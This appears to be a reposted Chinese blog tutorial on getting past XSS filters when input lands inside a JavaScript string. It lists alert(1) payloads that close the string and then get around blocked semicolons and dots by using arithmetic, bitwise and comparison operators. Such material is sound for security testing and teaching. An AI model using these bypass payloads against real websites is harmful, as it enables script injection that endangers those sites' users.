zoukankan      html  css  js  c++  java
  • 【XSS】 ""-alert(1)-""可以执行的简单分析

    漏洞场景

    如下所示的XSS位置,红色部分表示用户可控

    <script>id="xsspoint";</script>

    常见思路

    最常用的闭合方式就是输入";alert(1);",那么代码就变成如下,

    <script>id="";alert(1);"";</script>

    也可以输入";alert(1);//,效果一样

    <script>id="";alert(1);//";</script>

    过滤分号的场景

    问题来了,如果过滤了分号怎么办?一种办法是利用点号,取字符的a函数,把要执行的js代码作为入参放在a函数中,即使a函数是不存在函数,js也会先执行其中的入参,payload如下

    <script>"".a(alert(1))//";</script>

    过滤分号、点号的场景

    问题又来了,如果过滤了分号还过滤了点号甚至还过滤了反斜杠咋办?这里介绍一个今天才理解的思路——用中划线

    <script>""-alert(1)-”";</script>

    之前没有看明白,只知道可以执行,今天在群里和伙伴们讨论了下,中划线不就是减号嘛! 也就是说减号两边的对象也是会先作为js执行,毕竟要先得到两边的值才能进行算数计算~

    因此除了减号,其他数学运算符号和位运算符号,也都是阔以的,后面绕过XSS的思路就更多了

    <script>""+alert(1)+"";</script>
    <script>""/alert(1)/"";</script>
    <script>""%alert(1)%"";</script>
    <script>""*alert(1)*"";</script>
    <script>""^alert(1)^"";</script>
    <script>"">>alert(1)>>"";</script>
    <script>""<<alert(1)<<"";</script>
    <script>""<alert(1)<"";</script>
    <script>"">alert(1)>"";</script>
    <script>""==alert(1)=="";</script>

     结语

    随着WAF更加的牛逼 , XSS越来越难绕了 , 且行且珍惜啊

  • 相关阅读:
    上网行为管理网络部署方式
    CentOS系统安装中文man手册
    打印机:连接失败,检查设定并检查扫描的文件状态
    hosts文件导致打不开某些网站
    NTP服务搭建
    VMware中三种网络连接的区别
    vm虚拟机里的桥接模式下“复制物理网络连接状态”作用
    IP配置
    OC方法和文件编译
    OC语言基础知识
  • 原文地址:https://www.cnblogs.com/mkdd/p/12977098.html
Copyright © 2011-2022 走看看